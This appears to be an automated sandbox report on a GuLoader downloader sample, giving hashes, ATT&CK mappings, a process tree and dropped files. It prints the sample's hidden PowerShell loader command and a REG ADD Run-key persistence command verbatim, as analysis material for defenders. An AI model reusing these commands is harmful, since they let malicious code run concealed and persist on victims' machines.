guloader | 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
07/05/2024, 01:00

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General

Target
0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe
Size 473KB
Sample240507-bcqwgsbc5x
SHA256 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503
MD5 aea1734f0f47ad1bd4be38ed8aa381d3
SHA1 b98819322bd2448972f28703e9abef734d679292
SHA512 0071d255186464f57e33fa75e6c61607a92053f6891416fc20dbf09529f623705fa7f0fb41f576c97bc87a7abcd83b063ad692df4d2ae0166b3737890b634eda
SSDEEP 6144:VXFKo5xWzMenDLsk2FvdyssghsGxG/f7QbZoILLmJ3kwawaeYqrK8EINaQeofcqN:VXYnD1wsh/lSwlrK6aQff3wlLO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Praepostorial% -windowstyle minimized $Pyrans=(Get-ItemProperty -Path 'HKCU:\\Udladere1\\').Armaekorpsene;%Praepostorial% ($Pyrans)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2980	wab.exe
2980	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3052	powershell.exe
2980	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3052 set thread context of 2980	3052	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3492	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2980	wab.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 3052	1576	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	83
PID 1576 wrote to memory of 3052	1576	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	83
PID 1576 wrote to memory of 3052	1576	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	83
PID 3052 wrote to memory of 3676	3052	powershell.exe	88
PID 3052 wrote to memory of 3676	3052	powershell.exe	88
PID 3052 wrote to memory of 3676	3052	powershell.exe	88
PID 3052 wrote to memory of 2980	3052	powershell.exe	93
PID 3052 wrote to memory of 2980	3052	powershell.exe	93
PID 3052 wrote to memory of 2980	3052	powershell.exe	93
PID 3052 wrote to memory of 2980	3052	powershell.exe	93
PID 3052 wrote to memory of 2980	3052	powershell.exe	93
PID 2980 wrote to memory of 1764	2980	wab.exe	97
PID 2980 wrote to memory of 1764	2980	wab.exe	97
PID 2980 wrote to memory of 1764	2980	wab.exe	97
PID 1764 wrote to memory of 3492	1764	cmd.exe	99
PID 1764 wrote to memory of 3492	1764	cmd.exe	99
PID 1764 wrote to memory of 3492	1764	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe
"C:\Users\Admin\AppData\Local\Temp\0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Ladykins=Get-Content 'C:\Users\Admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\gastrogenital.Fel';$Stonecraft=$Ladykins.SubString(49937,3);.$Stonecraft($Ladykins)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:3676
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Praepostorial% -windowstyle minimized $Pyrans=(Get-ItemProperty -Path 'HKCU:\Udladere1\').Armaekorpsene;%Praepostorial% ($Pyrans)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1764
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Praepostorial% -windowstyle minimized $Pyrans=(Get-ItemProperty -Path 'HKCU:\Udladere1\').Armaekorpsene;%Praepostorial% ($Pyrans)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_5r2diimw.wff.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5r2diimw.wff.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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Lndstatistikker.Vis

Path C:\Users\Admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\Lndstatistikker.Vis
Size 332KB
SHA256 0d58b02f4cbf8bb043b2c75d82eb9e600ad6001d9f20725a9102e41cdddd7d53
MD5 c36231a71ffe5478f93ca455a28c5a01
SHA1 2a0f993c15487f1c3b8417e7f6497108dbe49436
SHA512 cbee64d8b359e8babda5b6311b42e7e7e1d577859ea79605786759c686169fbdadf8b6457c5a2755b17ae96c398bb5e35c5072fb1fad9c6553ff1df75fba1ebf
SSDEEP 6144:wdQX03jeVTl4eoZ4JQ+kZiDx7BBx+VP1xVpIyXJqtQJcU/eTACok:wd2VxGH/QFzwPPppeTl
MD5 SHA1 SHA512 SSDEEP

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gastrogenital.Fel

Path C:\Users\Admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\gastrogenital.Fel
Size 57KB
SHA256 3b4bd25d1fb05ffe539db5e8fc7fdcf8233a99f2416c8ea0b06c948148c7e04c
MD5 0e27e41f7833025c5f36c13a44912fe2
SHA1 c0fd3fa0e85f77e70f0e7ec5b977fef3b6e30d07
SHA512 2723af2de2e5285de0b17f47c686969a329ed55a472a8a4f8893c0d37e3c63cd95f78be14f398d1d25ee84dda61c108f9845be059e1ea24f67501e5e6b23daed
SSDEEP 1536:DvOlN0pIm+p4xy+/7tnRiHzttfvVCLJzP+wnpHI9+v:Dv2yV+Wr0tXVC9PVnyW
MD5 SHA1 SHA512 SSDEEP

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memory/2980-50-0x00000000020A0000-0x000000000476E000-memory.dmp

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memory/3052-13-0x00000000055F0000-0x0000000005656000-memory.dmp

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memory/3052-32-0x0000000007F80000-0x00000000085FA000-memory.dmp

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memory/3052-14-0x0000000005660000-0x00000000056C6000-memory.dmp

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memory/3052-7-0x0000000073D7E000-0x0000000073D7F000-memory.dmp

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memory/3052-10-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-20-0x00000000056D0000-0x0000000005A24000-memory.dmp

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memory/3052-25-0x0000000005CB0000-0x0000000005CCE000-memory.dmp

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memory/3052-26-0x0000000005D40000-0x0000000005D8C000-memory.dmp

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memory/3052-27-0x0000000006D00000-0x0000000006D96000-memory.dmp

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memory/3052-28-0x00000000061E0000-0x00000000061FA000-memory.dmp

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memory/3052-29-0x0000000006240000-0x0000000006262000-memory.dmp

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memory/3052-30-0x0000000007350000-0x00000000078F4000-memory.dmp

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memory/3052-11-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-12-0x0000000004D10000-0x0000000004D32000-memory.dmp

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memory/3052-34-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-35-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-36-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-9-0x0000000004EC0000-0x00000000054E8000-memory.dmp

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memory/3052-38-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-40-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-39-0x0000000008600000-0x000000000ACCE000-memory.dmp

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memory/3052-41-0x0000000073D7E000-0x0000000073D7F000-memory.dmp

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memory/3052-42-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-51-0x0000000073D70000-0x0000000074520000-memory.dmp

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memory/3052-8-0x00000000026C0000-0x00000000026F6000-memory.dmp

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